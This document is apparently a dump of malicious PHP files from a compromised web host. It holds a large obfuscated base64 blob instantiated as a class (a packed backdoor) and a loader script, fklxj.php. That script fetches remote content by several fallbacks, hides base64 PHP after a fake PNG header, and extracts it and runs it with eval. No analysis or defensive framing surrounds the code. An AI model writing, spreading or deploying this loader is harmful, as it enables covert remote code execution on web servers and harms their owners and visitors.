cbIqOT3DezolBNjZHzaiUVoF+x5cvuktaOm06AuoNM9jXW6TcSQcj6z9OntHGT0OkYXjsPebQa4 th3qWBCcogmqOeOK8SibD8QwAQKyfZArjnreaqdO3 TybXQpt+/5XrX+y+x1ST1Nv0aGRibKDG6fDzN9V+pAxqoVVq2KD1v72PEt9TfxpSHy5IGXZGoCXkG2 lfJ/xKRWyDjWagB4GM96o4wOA6y6dQ1DFGqjZE5sx/CRFWp5tP /1RDsIAQJy6suGs7aVMnguOCZjE+84WG9NBce1CRvuabyfUECZZDrIbkiVXdt10y5VlpAeeWJspB+MS FtMQD03aM8zwVtwSKl2nl0lOaaW5mbzhXcyuEpycCM+4jaFtf6UzVVtsNKapHQaBcdrKypp yPT5dQr/U20N10uZnSoQhSsorxcED0dqoThVn6yJWyQROLFZrjZbwGS/3nebqWlZ+iN ylIO/uRBlI1vX9nhGfM9cFwyG+Hq7CZQ3YWrx8ol+pYS4g3f5wy63jgc 9KiVm4VZJNEjNCnTmSH4sGcKW/Jt5zKDaE+eNJC5bk8i/ThsFYa9E0Alq3 hQZk3aJp30VaO0TBXWz021EZR42GEMmZjZ1QW7c1Wl8dMo/j78YXpFB8W4iAcp/n1cAVxtf5wL/EXi i2IyVSC6JHfGPXXW/fp8YZDxScNunmsHWfVdZgjqxNykmYb5LdQsEjtNRR +/m77gHFk+JACFZDQma8PwDol8+DfV/cBIz3AtQHTJCwLQqm0PdFyxFNweNe+U4 u6mcHFjh/5Iy1FdghcOipOfp/rFpr7/ercLHfTGP5JEH BaltR7NINenbDlXAh8iigTid9OniORDzID9g3 mfdxwXTubcmF3nMKzB6k3MIHhKJAV74cfOQU//ZUWhUIr+f6K5D /nwoFmL1OstQHsZPhEmLjfSV6LC5LJiFvP9XD0PTv7svz8wgkScXoqpaeqGEMul 6w5EFuxqV2bGO+YoFuggyXFh0k4nUpKU9kx5Aczf6MOkn 6MF9P7Scc/wU5I1YRSkYla4NYH2lLUIp+rt7mEy90TDZ3HynrbgmPcJxw0fJmz EYbjvrPmhJHhntRirzdwnjVuAO8d8sMV/Db8PLR6x6aUBcAqINIiXT pC/na3SaolCxRLODTh5mx0b+HIYZh0Yo+fbDsU9CHxl39veHL9b0tqnmiHKadkTYHgZ M7bPIvs92hqxB9CWGF1oUEjwBTcP2eKVS +F9afC/907bWukromcMe5BvD/nk4AYEtxfRwYxomSAiSIUyGU8jZeIqZPFf5TjNF4As3Jri 8ADy/xf3Em/2Vzxmmze8o0yfqHRbdJEktSE0JDLPAPhwLGI FwEbc2n43ZqSDyZ2jZhTxpuzsqBpK7F5UCMfO4wh23xzEWW9WE0UJ9HOc+4dW3MI0pLsucZdX4Lj F6dalQFo1puSre0HF5DUWjIl/Ro6MkQuIUESLKwYGxPf1Z7C0dy0F+PNZRVnNiwMyYMz2nwIW+1m wke+LCT+1B73zEzTHEdUcFjo9E0Sj2/GmimQ+9 TdRW3aJCYS5+QDD50tR/ERcd33gt6tLDmWpRFHK19fYaNGsGasTO9r097Bb/QOBPnzHABi37rs0HSS AwYs0TORpdr/pODP/wZK+ccfEJn71uKG5JNUTVFgPwvad +hmpBAItO8MJ87IsV2XN12EyWEiXOTQ+i39AfH7KciqaCb6 qDXXnBVbZ2jeKnLo3npkpqUFBMAMi4poPbb41yQQX2Cl3c19BAU KTM4nIZzyPqsDWGPLdDh7Hrw0LZ6BL1pW+ZSAYQEZYEL0FVQ IOfxqNyqUxmPIcm5+touYrNUNsiNuYK9//3WE+4w+l5qhyTlE2yjj6rA9qJm3cQi4uImDVT UX4yoFFc9sig0/YImGBbA5ww6S3lcU B/S8TMueC26fCoDqMfXsbaq2sa7vKg/ntZcayNrijqZZC4Bg1 qk/6qec3LTse/XgN9aulmk50v7//8uC0Si1TtY3vvMJSUmhgd7SKMOL4BzXQ WCLhe3B8zgYf8Lci2iAbcIXnjXuuQGCJKEn3QMxfrAOatioNUWeUlbKB7vgt/ SIp8deCYKiUPs1GCK1WOlCfQpximsscuBRXYHOY638bvpA6LZQm enXqATznXAz0RwUAEHVcPuHCJfGdDH6YCbB6q6ZxedPC9qgmkmVYXqECdNZMZP9VkMPUJO5 JQQVnFdmPciHTv50dsJe8cVrkyjWFqX/PB3ajgWduqSeiCkjnqx7CUJjCKQc8zfsUkrRAFx9eOo6 iPPdbhx16/UtYkKfsT/seO99SEo0t0kjjzl8w40JIUDGQJD671ABuFZv8oX52r+QwT6anFqscax5A3p PnxqRQYbY/8QZbx8TljQi2MW9cHz2NzNc7CP9iHGS5Qv CHzKcNudXVjE4xgzR6DQt93gSENu1qFP gdxaU7Up7hK4y6LFb5sCIzhGrT6kF/sXOYIWe oj94ceR6bQh1+mCMhFIzTVN0ovLgFvLrna2AJpLuuET60C5Dor6Be jQzEvHdSr0GQEkpnfffkpqO7ycV1XTgA+mm5mViRLm7p1f27OX9EgraGR57dNUGAE+MQlpYqxYw 7xyYKZNmwL9ZBQN9WyltqE7nlEJudLcHYrryFEQ5AD4ISJxUnI6qkWzhoIxHQMfwO/spWf hj5DHOXm7gosBm6Pu16fWOz+lnu2ZF9WSanMIugpy HkVVs2LxJw3ilU21OQrGQfIHAO4SO1GBeLhYse/xV3crj0lndvXm2TZ G9zRq1bx5jOmM/Bu6w+OLKti0x36VRaMKS5oE/+8CWzJ YS1LDOJ+pBsKUJFDKmzfAGaRIFCqMNYWamzE+iTvPddnyaW+S7z4/9Y6d z/2GB/AsWWhf07cUHGSziIyCiTHk6thg7P4+RLbMXud/Y5mrcYJ5Y73 EjzJPvlm2RqVIwFqxNaPZCmo7zIPMRZB6FkJMULqYLQybY2RbLMqlXsr2 ViuGw0jbsdydbvYtJXRzn6SG8Ma3VyxVqZvqm1oy0BVGCKgMKfm6Lh2/cs66Y KcDfg/IoWfBykfkuqmwqIy+dykUFZ/PnCeck9N rUO1F+gvj4UCBhqFssca6WD6wHqL3yd1scXI/edjXMn+lbGrrcoZPUnou7FUQ1uYM5cFAXwSZ2XLS CBb8SRTciOQYnPKuErOzSeTFtvy77tcEZVHsdvaPL/ /oys91DoNgzJc5ADFiJyxA0LMI6jOYurRzcRF QUwh5LbaDdRs6o/B8uDswpp3HCoZ8wf7XfHDYDJo4Q8n6 YlWkbc70ucVmbyzLZOD47zYXCpaOJweUvcjvMmT2hiq9JYdnMT Qvr2yQEGcTdj1YBdsfaaglBRc9vHDPSlxz7bfTTygQR T7A5RFV7wRj12IgYZILaSHeOg6DPG9/vpFt+hchxUD4eL 6oIfvuT6uH89wZHOf3YHVOQFgjfCchSlN qWplcXrARQTEwvw0XJE7WRpWlkuiVPJKMHFrpzqOZ5eTnxQTKI8D9egkenuU KYAy5zdg99mSpxQGGnljJceGiGBBFIhN7R1g4kfideB431EShExUEa0u 93FLgkiTzh+iLnNWOddhpNEUqMz0EF7RoE2s1JjAUZ2nl0L4z YMFYakSH+R/AbXmkicfZEzysYG0e3WbQNKMqWa2uquKA+fisSYVTJNMxko2rTQYSeC/adxoF+BkH xcbfGkqDrdpnJp897cNdSWAFWPCBF38Rj/jyE4XJrAHeesP WllVw8R7RSaTcaTh9Nkn1YHKNHhkyTX1IepCHm5J5cd/88oZVb0z d3BG2Jn/Yagy5GK1ZqoLWlvei9g8MYN2BYS4cy9RO7WpxBMYhNvgJMDxMZjjIEVlvzLb nozN/yBy5DX/zO5101x1SKWqJQKtw7LJbSxPN2zbxC56oP AOadegKN3ehyqSvUiGrq6GvRwDmXRp+Zuv4LYve+zhlOt9HV yWuy9/Ut9GCxYiWm27RzdC2Eoi8yedYXAkMGprts/5aLNgf0MMCX uhfaPBCtwHsAC19caLVOJsXRG/K6hQYwOHq8sxyPp g5J1G7Wdnu0ADXcWIxgrV500SXi61g+wCMqg61zQNpB3DgKrHlfWkE4Ge/4HUifYRFbWcHT CRFANFGrlY3356viVisyfCXsmeJ8bwL/AUzF4wihuNKJqa0BjAkFS2Ky6J5hTyXNhAYJ5OrK8bAWAKK 4jU0+8qZM0Vzk2dpUataNDVOmWyiZPeUCu0/SX6uL7x397RV1H4Cp1AS4iIQnAde 8UeKNLvkNXFyyRp6Ia3KLoiq9FoJgL dd6c+YrNO+d8J32qjHLCVEOtyaJ557hn4PMPN/Itw lN6VDa4FhSnJDDWatjg8paHs51Q2LQvHTo0HVhBcanVTqF YSBdRIaW3laeTWVpdECy8ybmI8dsTwfnjYay0L7+9C+aDe5oM2AP UsRYAxM1LS2BrQTxSqG6++Bnb/q1n3lofCvxwovyubtezDxLnuX0WcJDyN2LNgs/Iwvl0+UR0b+6aZw ABi9ef8qXk0aaX56iXCA4pqH4uxL8fXlT p6SOYCh7u+LYXVuseAmld+j0fXydnjxlG6wM59fi4O5/RjNECKP9wmjAm6Z y1+8AWg3KgWbs+nUqpdwyTsxMHs6jGN6bJaRAZi zbmLtFLx14f8cw2hPAnkfPyDnkpA0Kw15CXVmW/PZvlzrfeItyb5J7 tU6VK5Nb4dakewwUqV7f4lZq8ehiI6cuy0QY abvE/wrUK5wLzxtPHekcdHK+IHK1F6R28/JUXXjNDnN/7+mVQBNpu6fE05d0B3B/EjMJr0a5aN577V X/T8ZrfKcIIOP3dKFDfEdMhAHTL5OO0vrNVwE Dvavs7OJ2Pj+O+iGOEYm45BmMeiWdRf+uCT/Cff1Tjb he8bsm3n/9jTJyElYcBUT8QOJsY+NGTbMDEM5YUet miJHbiuC4P089HHnXdaFazcMH00CFRFGM9/Zi7mQGf/g21Yr5zXT9hNyJ57pH4ZuWBrw uqiDF3+v//MBXTxFufJqvb+gwCdNqv6EHXDJI9+n01e7SZ+ubyEEp6VS6vs0GdqIx1HJnN0WAc2QBfBm oMqrZfCzhvlhsG5LI2jK71t9rArcgw6wcc+t KCs+A0HMHIXVnquJajcgc677AQ3CZnzwb4aan2O8Ps+jYIWZA1tsS9BAsb6dX3y2oQ3k /L3uJsuvAMNm93x2S1BPyd8h9aMGR2d5mUysSLLhuWlZkte EQVpKGcUiVNAipTQPnPjona3'; public $_cron = array('2', 'tT', 'rJ', 'jz', 'tj', 'U', 'l1'); public $library = array('oLK', 'eD', 'Vz', '9r', 'a1', 'R'); public $access = array('j0u', 'G09', 'E=', 'rKy', 'bX', 'z97'); public $_point = '1pOSDD6ZAeBjBb0rUMEG5NKUiZqCd+a6pkUNOgzfmy 3znYqeQX3uDtBYMN6ZUPvrdc8kR2fBPpeLcrlm4hXPE CRNCo/ynRRUpeSmpaAGInymmqLO9V5auHlvQdNteTLXTtqpMwqYUY dJI47PkSA5/kItvoCBtK+Do5JopW1byBQWJjTZmT/kcGBCpinag3MfzmCmK7 bAlpsk89cn2VN8Zlqn+ElLrK6A6jY+qwTT /nuzdVIOSBvn3ZMPo02StUPXXTba4gGzMcwyh/tUIPO2eEqGykKtoOZlAf2WE6t90tAd pJK2BPx7WzbXkNb6j8CdzLL9hCqp9Nql7Pj3WXLs2aJmzHg0C2aTTw1SxW1MkZbOClzNeiQtH WBV46jUPN7T5gZUiXHLsWNfnhjSdRjQYaDw0As 873dNwz6Itgs3/PS959P5De7UnCjue5IrKNCMvHltcULFAC3ASGjaeFRnhODKEsbbL515F0Mt5 yND/Sz9zH0cvP672eDTalu0dsnct8covAt5rEY2px7E dcYYEoCK1rs+TpVYsWlgntF1N0+NNFol6QEpV4wSImkMuvf o2MNkW6JnzN10XsiCK3l174xnYldReFw1LKhxuf0wAA z5Utkp3MWCXeRUMc5EMXynh2dcXcau0B O4FLTppGlFJ+0KMonwVYit0xXUKhF8xpWN7JPYMbKLcK7VF6hhf5KP lqMvr6sHXf6cVK6/2bAkqqeu5AK0ZHcZstY0TZCLGcK+nzUrJ6h514TQ2CZZ fsn3rL6gh4SH2DywjXTpybibzdi5l9L+PpqOza39B6+ewkmXVTgo2fa9XT84wkNhaSXXFuPe7n1Gnp OJ/HA+RjSwN+bY8tjcKRsTGauUoeMH71rU0tdnX6Gc9AR6jGRp/WGkSVbQz/npK8Bvpwr1l1JRW82M u7/jtHXtuDvnlvEbfLjwfIyLxsFWjfc X2G9X4hNDMFa+6r1aapLmPy0vwLElo0Salo1tjfEGHYK xf0iuG07AyNTJ2qrnfGhaBIGg3/yUjWrpxaMNdRBZm GrYceci2nPWEBcwcI9c2ktI4NqqNgQN+pzmciuOpAhdK7RF2gPe5GGLLFktQrwZFSdAa AE8cWZ9oFJXYv8FlsMbb/zMlm3TyxXWsHDOth0HhsqaxPpdR05voBEB8Iec6F4RIpYtzuoi/PxCY NJ0o/eQ6aI65mYABzm/Zlq1wMxv68S2aOmRjVpz/66e2yqFve4X3qEUib/0L 13BCFG/qE+ohtSVaGqcbIJUlIM7tRKMCHvP8Jj9SRfRm1Uz5wRptLBK0LC/ NgqXbBn77lQ/mKe8YAo7PnioFp6pWU4zmCAg5JlbX1FLs RhwANI+sO6doZpbLmyLYXFQsQPypxR+W1HGQefer8js4g6j4tK0WaOFi9GWYNRs8MuIuG Mvii6eGJz4U2WtBdef15hijVqgYk3VfqXd oJMl333HL5qpxXywUQ8ZJuSWcuMUkh4CaBD0qLDvJ ydxEHTfw11dP8Q99+DXoPsfo/CH7VaeoZiD5ZnWS3hpwmm5TqOUi8xdezOWx9h7oV8ST0Eo+b2 PU1G2/oRygiMzLJwYjbHSOPHe/YOhXuS5T/UnlPupS 28h57vYPaJU/exdsk8bZ5QM3ByuLTgp8D4lYyDVHbqH SOpldZImdRZv2QYosAWyUET5Prd5pyjY6VduMCzYo2UKQ7Oe2A/ bWThuHDtNwqpwzTAM6P+pSfnPtxoqoX3nkNcmzXvQ Ry35/z/CmJ6uQjGxwMF2L9SCY/KRdDREkyu4c XD9B+JY1jl5bjrL10UmlZNVgDTZSEJWjtQQS qfPdEMSIOUjEaJvjxTEwBfb7zD6U0N4psCxH53C3j//nWn s/3LrdssaSzfgCMkiENssKsJRskbggloNiavXx9bL5VTflJpGYfZnKAd wDgAoQyHVLpVcNAI5+G7h+bJyHiFVvz4Pe0f/ALiW9/R6WzHHVVNBA1wgaZUny30QL3zoO9X7sU6 9zN5uZSKlKZGhV8ltwXC2ReCDL0m3/+4uwGOaexigeeej9R3Qm5pgrKQ5PPscWL49rZ+ QUYUR/qnihs1fbqngb44i8aukJBltPi3H8w RGgoInlTqWg1R5CQaPJPmHyq0MkO09sfsziUfDFXe iavtxe6Cg02ISTKdY5/gLmErEpYLAvIy32yGszqizRLvahLyim3zTvnMEuMDl8P0af5JAhDHT0 MbGr8UCPRSq71AlA3cW+yyno5koiJQNbx+r8kBGx2iN3a8ohfMGDq6DxXpKUrckZzV0Q5AK9IK7cX 7TmhTjbV6asresnoicgmZBY+9zKcQL0cYDd5mbFk5hHXh+iR3kgzgPAZuh2iR48byxU0hpkoFLq WShRYaf5aNgTbldfdtDqgxwx5WSNTWZSH3emwnJDTr bN5NGOMnqGJFVLoqpKwxPAPHUF4YuuRxFDPlt4K/ozFaWTkp2r+8HjWW 3yppgZSURf/HFZTMG+lpT8Fwde6OCFyQOsyjX4nQUjJXLnR+bpV4FUNAW5NH8loDTNAdE4xVix8Zbl 2/aj+uQfXQVchD5s9tMWdsmbiR6Pa0JjxjIIEsDNbdlS m9myXg9IGOFLz2ARe1n/vWUVzAUbKglw3 UBgKcGSK0o6ZNeNBLhtqOsa5D96VS7I eXT5glqWGy4hUi+Lm6ucwtEEmS88BkZ5NTvP4yMomyfHykYG+ODNVJCjt959N pctHjKIJp57/Y3S3gh5oLCCsNHOCMlywWq5jI9J7S4LBMf+zqhl1CFyMeJglK5gZpYC8peTWwiT968 YzeXje7rTkBliqEuROinrtAjB2MzcGh/Ryd30/XBY7kQANhqKGRIpnoEZ0aSXL4/o9lDRGZojXp 7TA14nwltkDczXp4sPF0hkLFIcJVF8P9WM4MqkWvug3JUJcN4n5HwzA35yDkzzMVQcn1mQ6 6JskTfu1nwnrqfBcoOMyCjJiM7EyxOy6QiKE3YGfUEOG/wv+nfh5yDL+kWm m0IprYUQIW/JsyAP1CLkEq+yiYl/5dQzCgBOi1JIO2wzg7XEkJzb7Mdkbdmz UiHu+B3q5rdE+Ja9EoINKt13zKIHaizNtOMSB96ZQJil8pFgrll0kzTj6MEvI A1Ks/aMHwxbAw2ifdmotYWkfadnB6haeG6SVWH6mCCly8MG5vsuGobwB54L9 W95rFM6pvPQ7FLXrpKuuSBEwMICKz4prN5J8OKjSa7K6fGNCo5yMJeqkSw3i00bSSIoNT8hK2 AfBRd/Z+7+Ee4ZMCxlMCcGOdpY9+EuRfAAl7cHf7fejAl7ese4XgzlHezCOc2Neb O9pvwBd/DZwxnn442zV+zHpLiFvHlJX9u84Ng5f0YQ Uir8M4zq3LmiqMr2lFZ+kxgApzg0mJHhFpjtMO2VdoIPlev1NKSYWD XG5vU9j+jTEPj3pdLSONKfdN1WaTsAqzmwRPoSC/ei6BiKFBFgkPB7q4Pb388wHjAf6wDHg7hcm huIs/7rBMQuLiCGTd8lcDQKH8gX1fCH4Ue0NtrWqw7svI/ke5DGlmB/4n7mkEoWNEuFzu9k/o2p/BeG EXZpW1y4yyy52HqK6YGI0VZc60OWuXoFdeRhssrkWyC+hEM8sQCJj3LxyR6Wb2haMkzORcgAE 2jCB9idQva1ou03FQl4mpA+POced1C/7P2dYzLWvozJhhutlrHo+iBpr00 9oXg/NdD84pIs2LpWuI2SkBEtOsNAjPdtowRuD4a 9iJht9/DGXHZOd46tX8ykO+6qr+h6bWrt3JwSxmL3DpmeqmdR7Ul/DzzOihIpKTosu wWKbwAj2L7ndbWmAEOVDZcvW6cAORQGcb14qiBg1Mc5L5Azuaf L8h8abGrM0va8m9l+87VYPyOFhaOIfJxhl+q Og+kcPsFHKSnwU+cYMqN02i2ijkCsr6UTMKe8Uu1u7hK+fKnlF47yUV 9yrn57zfE+PV3wH1/5c0dsmTtCsxqxeqwyEk++g8DybB1PDJ Mz6NnBXBggGVhyiq/OGL6RSR1eFRvbBf3LWlxuy0V4Rr+QrFGp4t7pkT4m +rwxq3XRUlcDlrUaEItctGn/DAX440lLt1e327YIyClTar umqL2k8/izPozlSb/LzfHyqJJquIsNJzqw4JFqtbLvCPlHP9fxB/re/JJ47IPCKBNcp7TfLckdO LRqky2ZpChZshydTtfl56okG7zjl8aDx Trr1ucoe5Mt0pcwmVl9V58KiaCygL5U0h/zq r7mxO15msOLp5hsXc1Y3JEr7/gfLZn7vS6Ph1/BDpWGmrln4 YQYcHEdhimts3T8pYYveY2MDplPY8yQUI/tbeGpK9x8h/2iZmIflrEhvuIkJwy1xWEnMUX9QXq 04MrzI1cinidmYs+dGjBcewXka+ykL7vxYimTa05RqUsnI lkR2zZI9mfBNqjzPwn/VCTk62Tsb0nN56jB74nGO9xC/zwzhTbtCkHQofOYVaTAns ZlDM1vQL1nu7LFnEYpVqQIGx3iexSN9y bDb7Mf4IpMnfyoU6jSkYSaXV5x8a/KTMWk6Ds3hnMI QR3kq8L/Emyt//3qDDdBVwFGBiima8jd+WI8HuwrUcm7ptjHrPJ0hqecruBp YkFRHjDBsG/XdW0sgRkgzLIiVWaguu4xnZayXVbw9w8xTU0bndv11lq8akDJ kW0+UQ3b20Fn4qRFau1R5tvZAHaiap5OFgaZSsC4+6KVj7A6IB4t7S8la6tT7M3Nn/RBjAdR ZuGgvU9xuISup2gAgY++jzJXM+fKo9BtNIgakrJWfxBiu/HpsAu7Z0fldUWpvaXgtXj1F6JiiPNxGPP JMqvxrtfndS4btWVinThs++dZnJEinyHrwfxPTrLjULR44hc9dClldQ jertrj7FREhJUY7PB+ZMQobvrWy6uNb8bfOz4fk9FZBN0d2x V8tmb3nFehQf1AE3zD7a0l8ZJeYdTUQe5m7EBB3/l2kG3JqMP3ylPO8mL7m61TtK4M EKiV1ctESdd4461dmjC3bAfbV4ooxgbvMGIH5aE33qRIhvZt357LzBGY+LfIqQ3C7pkmbz/B SDqdA6ee/Dr6nozSfGhW1ugtMhrYNxHhvWR2YN2N82K9b6hXU7ZI0DACKmyt+a J6iuI7ueCC9AS4yXV6G5BxqO2wRJrAcj2LGEkpo b+ZHBdD8h8EkmYm46xuHeh3hbdIaXBHjCKBthmiKOddL/AAE2yfrTFGVsYCpjil2urBEO 5CGJiBJjQqy0QjPf+9EV3gFKortMZNm6aixEprFdG3psv UDT4JAi/L4NlZOZzuTW6LYXt4MSAzc1EFRu1w4TOjSLqT2EMf9ftCdC2a7ZwKqc8Od5JWUhNien O9tWbVleGouAogC/2I7bvPL0daek6cn+izQwuaX2GGV 6cFoSU4vdl8DcIfNof9V2YqYI9HwsboITHxLPfPOdHzU84bWgX11Y1HHgxggf7QuwqIrudqUn AVVmc4efL9Hk6i2+56P5fpxv466Irt3U40OxRqNdwolYroHQdBcVAm Gizu/GHhvWqeJkwUSv/7SwA9+2it59zZU 4/KwcZCLSe1V8uXQMA2fdYVSlCzSrjZFBd3bu3aPGWb/1OJG FZ2ynCaoPjqj3Rqan80IrEwNHjPWzxuaEmTCtG9xx6oVgl9UO/iMFLlOmxUbQeDX7sa4 1qSvpwa1bPzQroLIi4Is/wgknbIgpHgm WeQw8VRtwkAbFLmZiQ8zGzPHO6Otrg28aZUgLvDnr1OLSKdlrp+Bv/0EmjiqqNLvqY1 kEm06k8wxM5rGePrQbCsVbWKE1xWVEt6L8L0J3o2ToPjk9dvo5m+48vFa8/ZnewIzlGZZ W8PXQOyMedsAtaiCnzuVt8VIcMI0eYSF2pIKyK/6KP/k2LhJH9uvt6n/ZejY +kEFVo6TMTKnzxLbKYXfHmRbIhmo5UZ4cwsXOTZF/a4Z995IKpzxlw y1ihgQ8KXp61fbpbEVLKdjUs8P1Bfebg75tPZqmYJdyMT2r5It3CsM0R 2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM 0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf 0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV 17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH +nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO 6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+ fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8 TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4 6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4 to3nPs1CFw74FSzShaD+W5aWN9oiZeB pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT 6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb 6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7 sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO 7nip56POvqvOvv'; public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK'); public $_worker; } new Div(); ?>PKJm\y about.PHPnu[ AccessDeniedAccess DeniedYSEKS362EKKP8E9YxGwdHDDL/kDWonc9UiUH/w3pKWKC5Vk2ezBtm8tkXE4yy5uqvMaWUpyHRhbV+ENcgkH4kdocB5I=PKJm\|b fklxj.phpnu[eof()) { $content .= $file->fgets(); } } catch (Throwable $e) { $content = ''; } if (strlen(trim($content)) < 1) { $content = @file_get_contents($url); } if (strlen(trim($content)) < 1 && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // -------------------------------------------- // 3. Create payload by appending hidden PHP code // -------------------------------------------- function createStealthPayload($phpCode) { $png = generateRealisticPngHeader(); $marker = '###PAYLOAD###'; $encoded = base64_encode($phpCode); return $png . $marker . $encoded; } // -------------------------------------------- // 4. Extract and execute hidden payload // -------------------------------------------- function extractAndExecutePayload($data) { $marker = '###PAYLOAD###'; $parts = explode($marker, $data); if (count($parts) === 2) { $decoded = base64_decode($parts[1]); if ($decoded !== false && strlen(trim($decoded)) > 0) { @eval("?>$decoded"); } } } // -------------------------------------------- // Main Execution Flow // 